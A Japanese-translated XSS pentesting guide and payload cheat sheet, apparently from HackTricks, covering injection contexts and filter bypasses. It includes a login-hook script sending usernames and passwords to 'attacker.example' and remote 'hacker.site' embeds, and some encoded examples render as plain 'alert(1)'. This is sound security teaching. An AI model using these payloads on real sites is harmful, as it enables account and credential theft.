%.*s
XSS (Cross Site Scripting)
Reading time: 74 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
手順
- あなたが制御する任意の値(parameters, path, headers?, cookies?)が HTML に反映されているか、または JS コードで使用されているか確認する。
- それが反映/使用されているコンテキストを特定する。
- 反映されている場合
- どの記号が使えるかを確認し、それに応じてペイロードを準備する:
- raw HTML 内:
- 新しい HTML タグを作成できるか?
javascript:プロトコルをサポートするイベントや属性を使えるか?- 保護を回避できるか?
- HTML コンテンツがクライアントサイドの JS エンジン(AngularJS, VueJS, Mavo...)で解釈されている場合、Client Side Template Injection を悪用できる可能性がある。
- JS を実行する HTML タグを作成できない場合、Dangling Markup - HTML scriptless injection を悪用できないか検討する。
- HTML tag の内部:
- raw HTML のコンテキストに抜け出せるか?
- JS を実行するための新しいイベント/属性を作成できるか?
- 自分が閉じ込められている属性は JS 実行をサポートしているか?
- 保護を回避できるか?
- JavaScript code の内部:
<script>タグからエスケープできるか?- 文字列をエスケープして別の JS コードを実行できるか?
- 入力がテンプレートリテラル `` 内にあるか?
- 保護を回避できるか?
- 実行される Javascript の関数
- 実行する関数名を指定できる。例:
?callback=alert(1) - 使用されている場合:
- DOM XSS を悪用できる可能性がある。入力がどのように制御されているか、またあなたが制御する入力がどの sink に使われているかに注意すること。
複雑な XSS に取り組む際、次の情報が役立つことがある:
反映される値
XSS を確実に悪用するために、まず見つけるべきはウェブページに反映されているあなたが制御する値である。
- 一時的に反映されている: パラメータやパスの値がウェブページに反映されている場合、Reflected XSS を悪用できる。
- 保存されて反映される: あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映されるなら、Stored XSS を悪用できる。
- JS 経由でアクセスされる: あなたが制御する値が JS を使ってアクセスされている場合、DOM XSS を悪用できる。
コンテキスト
XSS を悪用しようとする際、最初に知るべきは入力がどこに反映されているかである。コンテキストに応じて、任意の JS コードを実行する方法が変わる。
Raw HTML
入力がraw HTML に反映されている場合、JS コードを実行するためにいくつかのHTML タグを悪用する必要がある: <img , <iframe , <svg , <script ... これらは使用可能なタグの一部に過ぎない。
また、Client Side Template Injection も念頭に置くこと。
HTML タグの属性内
入力がタグ属性の値内に反映されている場合、次を試すことができる:
- 属性とタグからエスケープする(その場合 raw HTML に出る)ことで、新しい HTML タグを作成して悪用する:
\"><img [...] - 属性からはエスケープできるがタグからは出られない場合(
>がエンコードまたは削除される)、タグに応じて JS を実行するイベントを作成できる:" autofocus onfocus=alert(1) x=" - 属性からエスケープできない場合(
"がエンコードまたは削除される)、値が反映されるどの属性か、また値全体を制御しているのか一部だけかによって悪用方法が変わる。例えばonclick=のようなイベントを制御できるなら、クリック時に任意のコードを実行させられる。別の例としてhref属性ではjavascript:プロトコルを使って任意コードを実行できる:href="javascript:alert(1)" - 入力が“悪用不能なタグ”内に反映されている場合、
accesskeyトリックを試して脆弱性を悪用できる(これを実行するには何らかのソーシャルエンジニアリングが必要):" accesskey="x" onclick="alert(1)" x="
クラス名を制御すると Angular が XSS を実行する奇妙な例:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScriptコード内
この場合、あなたの入力はHTMLページの**<script> [...] </script>タグの間、.jsファイル内、またはjavascript:**プロトコルを使用した属性内に反映されます:
- If reflected between
<script> [...] </script>tags, even if your input if inside any kind of quotes, you can try to inject</script>and escape from this context. This works because the browser will first parse the HTML tags and then the content, therefore, it won't notice that your injected</script>tag is inside the HTML code. - If reflected inside a JS string and the last trick isn't working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won't be executed:
'-alert(1)-'';-alert(1)//\';alert(1)//- If reflected inside template literals you can embed JS expressions using
${ ... }syntax:var greetings = `Hello, ${alert(1)}` - Unicode encode works to write valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting は、使用後に関数、変数、クラスを宣言できる機会を指し、XSS が未宣言の変数や関数を使用しているようなシナリオを悪用できます。
以下のページを参照してください:
Javascript Function
いくつかのウェブページには、実行する関数名をパラメータとして受け取るエンドポイントがあります。実際によく見かける例は ?callback=callbackFunc のようなものです。
ユーザが直接渡した値が実行されようとしているかを確認する良い方法は、パラメータ値を変更する(例えば 'Vulnerable' に)ことと、コンソールで次のようなエラーを確認することです:
.png)
脆弱な場合、値を送るだけでalert を発生させることができます:?callback=alert(1)。しかし、多くのエンドポイントは文字、数字、ドット、アンダースコアのみを許可するようにコンテンツを検証するのが非常に一般的です([\w\._])。
しかし、その制限があってもいくつかの操作は可能です。これは、有効な文字を使ってDOM内の任意の要素にアクセスできるためです:
.png)
これに役立ついくつかの関数:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
You can also try to trigger Javascript functions directly: obj.sales.delOrders.
しかし、通常、指定された関数を実行するエンドポイントはあまり興味深いDOMを持たないことが多く、同一オリジン内の他のページはより多くの操作を行うのにより興味深いDOMを持っているでしょう。
したがって、この脆弱性を別のDOMで悪用するために、Same Origin Method Execution (SOME) のエクスプロイトが開発されました:
SOME - Same Origin Method Execution
DOM
JS code が 攻撃者が制御するデータ(例: location.href)を安全でない方法で使用していることがあります。攻撃者はこれを悪用して任意のJSコードを実行できます。
Universal XSS
この種の XSS はどこにでも見つかり得ます。これらは単にウェブアプリケーションのクライアント側の悪用に依存するものではなく、あらゆる コンテキストに依存します。これらの任意の JavaScript 実行はRCE の取得や、クライアントおよびサーバの任意の ファイルの読み取りなどにも悪用され得ます。
いくつかの例:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
入力がHTMLページ内に反映される場合、またはこのコンテキストでエスケープを回避してHTMLコードを注入できる場合、最初に行うべきことは新しいタグを作成するために<を悪用できるかどうかを確認することです。単純にその文字が反映されるかを試し、それがHTML encodedされているか、削除されているか、あるいは変更なしで反映されているかを確認してください。最後の場合にのみこのケースを悪用できます。
このようなケースでは Client Side Template Injection も念頭に置いてください。
注: HTML コメントは --> または --!> を使って閉じることができます
この場合、ブラック/ホワイトリスティングが使用されていなければ、次のようなペイロードを使用できます:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
しかし、tags/attributes black/whitelisting が使用されている場合、作成できるタグを brute-force which tags する必要があります。
許可されているタグを located which tags are allowed したら、見つかった有効なタグ内で属性/イベントを brute-force attributes/events して、コンテキストに対する攻撃方法を確認する必要があります。
タグ/イベント brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
カスタムタグ
If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
何らかの blacklist が使用されている場合、いくつかのくだらないトリックでそれを bypass できるか試してみてください:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > さまざまな環境向けの tiny XSS payload can be found here and here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
脆弱性を悪用するために、事前入力されたデータを持つリンクやフォームをユーザにクリックさせる必要がある場合、ページが脆弱であればabuse Clickjackingを試みることができます。
Impossible - Dangling Markup
「属性付きのHTMLタグを作成してJSコードを実行することは不可能だ」と考えているだけなら、Danglig Markup を確認してください。JSコードを実行せずに脆弱性をexploitできる可能性があります。
Injecting inside HTML tag
Inside the tag/escaping from attribute value
もしinside a HTML tagの状況であれば、まず試すべきはタグからescapeして、previous sectionで述べた技術を使ってJSコードを実行することです。
もしタグからescapeできない場合は、タグ内に新しい属性を作成してJSを実行しようとすることができます。例えば次のようなペイロードを使います(この例では属性からエスケープするためにダブルクォートを使用しています。入力がタグ内に直接反映される場合はこれらは不要です):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
スタイルイベント
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
属性内
たとえ 属性から脱出できない(" がエンコードされるか削除される)場合でも、どの属性に値が反映されるか、そして値を全体制御できるのか一部だけかによって悪用が可能です。例えば、onclick= のようなイベントを制御できれば、クリック時に任意のコードを実行させることができます。
もう一つの興味深い例は href 属性で、javascript: プロトコルを使って任意のコードを実行できます: href="javascript:alert(1)"
HTML encoding/URL encode を使ったイベント内でのバイパス
タグ属性の値の中の HTML encoded characters は実行時にデコードされます。したがって次のようなものが有効になります(ペイロードは太字): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
注意:any kind of HTML encode is valid:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
URL encodeも有効です:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
イベント内でのバイパス(Unicode encodeを使用)
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
属性内の特殊プロトコル
属性内では、一部の場所でプロトコル javascript: または data: を使用して 任意のJSコードを実行できます。いくつかはユーザーの操作を必要とし、いくつかは必要としません。
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
これらのプロトコルを注入できる場所
一般的に javascript: プロトコルは、href 属性を受け入れる任意のタグで使用できます。また、ほとんどのタグでも**src 属性**を受け入れる場合に使用できます(ただし <img> は除く)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
その他の難読化トリック
この場合、HTML encoding と Unicode encoding のトリックは、前のセクションと同様に、属性内では有効です。
<a href="javascript:var a=''-alert(1)-''">
さらに、これらのケースで使えるもう一つの良いトリックがあります: javascript:...内の入力がURLエンコードされていても、実行される前にURLデコードされます。 したがって、文字列からエスケープするためにシングルクォートを使う必要があり、それがURLエンコードされているのが見えても、気にする必要はありません、実行時にはシングルクォートとして解釈されます。
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
注意: 両方を使う URLencode + HTMLencode を任意の順序で使って payload をエンコードしようとすると 動作し ません が、payload の中で混在させることはできます。
javascript: と一緒に Hex と Octal encode を使う
少なくとも iframe の src 属性内で Hex と Octal encode を使って HTML tags to execute JS を宣言することができます:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
任意の**<a href=タグに任意のURLを注入でき、そのタグがtarget="_blank" and rel="opener"**属性を含む場合、この挙動を悪用するために次のページを確認してください:
on Event Handlers Bypass
まずはこのページ(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)を確認して、役立つ "on" event handlers を参照してください。
もしブラックリストによってこれらの event handlers の作成が妨げられている場合は、以下のバイパスを試してください:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
こちらのhereによれば、hidden inputs を悪用できるようになったものは次のとおりです:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
そして meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
From here: XSS payload inside a hidden attribute を実行できます。条件は、persuade して victim に key combination を押させることです。Firefox (Windows/Linux) ではそのキー組み合わせは ALT+SHIFT+X、OS X では CTRL+ALT+X です。access key attribute で別のキーを指定すれば、別のキー組み合わせを指定できます。以下が攻撃ベクターです:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS ペイロードは次のようになります: " accesskey="x" onclick="alert(1)" x="
ブラックリスト回避
このセクションですでにさまざまなエンコーディングを使ったいくつかのトリックが紹介されています。戻ってどこで使用できるかを学んでください:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
HTMLタグと属性のバイパス
前のセクションの Blacklist Bypasses of the previous sectionを読んでください。
JavaScriptコードのバイパス
次のセクションのJavaScript bypass blacklist of the following sectionを読んでください。
CSS-Gadgets
もしウェブのごく一部で、何らかの操作を必要とするXSS(例えばフッターの小さなリンクにonmouseover要素がある場合)を発見したら、その要素が占めるスペースを変更してリンクが発火する確率を最大化することができます。
例えば、次のようなスタイルを要素に追加できます:position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
しかし、WAFがstyle属性をフィルタリングしている場合は、CSS Styling Gadgetsを使うことができます。例えば以下のようなものを見つけたら
.test {display:block; color: blue; width: 100%}
および
#someid {top: 0; font-family: Tahoma;}
これでリンクを修正して次のようにできます:
<a href="" id=someid class=test onclick=alert() a="">
このトリックは次から引用しました: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
JavaScriptコード内へのインジェクション
この場合、あなたのinputは.jsファイルのJSコード内、または<script>...</script>タグの内部、JSを実行できるHTMLイベントの間、あるいはjavascript:プロトコルを許容する属性の間に反映されます。
<script>タグのエスケープ
もしあなたのコードが<script> [...] var input = 'reflected data' [...] </script>の中に挿入される場合、簡単に</script>を閉じることをエスケープできます:
</script><img src=1 onerror=alert(document.domain)>
注:この例ではシングルクォートすら閉じていないことに注意してください。これはHTMLのパースがブラウザによって最初に行われるためで、ページ要素(scriptブロックを含む)の識別が行われます。埋め込まれたスクリプトを理解して実行するためのJavaScriptのパースは、その後で行われます。
JSコード内
<> がサニタイズされている場合でも、入力が配置されている文字列をエスケープして任意のJSを実行することが可能です。重要なのはJSの構文を修正することです。エラーがあると、JSコードは実行されません:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair パターン
ユーザー入力が quoted JavaScript string の中に入る場合(例:server-side echo による inline script への挿入)、文字列を終了させてコードを inject し、構文を repair してパースが有効になるように維持できます。一般的なスケルトン:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
脆弱なパラメータがJS文字列に反映される場合のURLパターンの例:
?param=test";<INJECTION>;a="
これは攻撃者のJSをHTMLコンテキストに触れることなく実行します(pure JS-in-JS)。フィルタがキーワードをブロックする場合は下記のブラックリスト回避と組み合わせてください。
テンプレートリテラル ``
単一引用符や二重引用符とは別に文字列を構築するためにJSはバッククオート(backticks) `` も受け付けます。これはテンプレートリテラルと呼ばれ、${ ... }構文を使ってJS式を埋め込むことができます。
したがって、入力がバッククオートで囲まれたJS文字列として反映されている場合、${ ... }構文を悪用して任意のJSコードを実行できます:
これを悪用するには:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
エンコードされた code の実行
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
eval(atob()) を使った配布用ペイロードとスコープの微妙な違い
URLs を短く保ち、単純なキーワードフィルタを回避するために、実際のロジックを base64 エンコードして eval(atob('...')) で評価できます。もし単純なキーワードフィルタが alert、eval、または atob のような識別子をブロックする場合、ブラウザで同一にコンパイルされつつ文字列一致フィルタを回避する Unicode エスケープされた識別子を使ってください:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
重要なスコーピングのニュアンス: const/let が eval() 内で宣言されるとブロックスコープになり、グローバルを生成しません; 後続のスクリプトからはアクセスできません。必要な場合(e.g., to hijack a form handler)グローバルで再代入不可のフックを定義するには動的に挿入した <script> 要素を使用してください:
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
参照: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Encode JS execution
alert(1)
alert(1)
alert(1)
JavaScript ブラックリスト回避テクニック
文字列
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
特殊なエスケープ
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS code内のスペース置換
<TAB>
/**/
JavaScript comments (より JavaScript Comments トリック)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (から JavaScript new line トリック)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScriptの空白文字
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
コメント内の Javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript(括弧なし)
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
任意の関数 (alert) の呼び出し
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
JS codeが攻撃者により制御されるデータ(例: location.href)を安全でない形で使用している場合があります。攻撃者はこれを悪用して任意のJSコードを実行できます。
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
そこでは、DOM vulnerabilities が何か、どのように発生し、どのように悪用するかの詳細な説明を確認できます。
また、該当記事の最後にDOM Clobbering attacksの説明があることを忘れないでください。
Self-XSS のエスカレーション
Cookie XSS
ペイロードをcookie内に入れて送信することでXSSを発生させられる場合、これは通常self-XSSです。しかし、もしXSSに脆弱なsubdomainを見つけた場合、そのXSSを悪用してドメイン全体にcookieを注入し、メインドメインや他のサブドメイン(cookie XSSに脆弱なもの)でcookie XSSを発動させることができます。そのためにcookie tossing attackを使用できます:
この技術の優れた悪用例はthis blog postで確認できます。
セッションをadminに送る
ユーザがプロフィールをadminと共有できる場合、もしユーザのプロフィール内にself XSSがありadminがそれにアクセスすると、脆弱性がトリガされます。
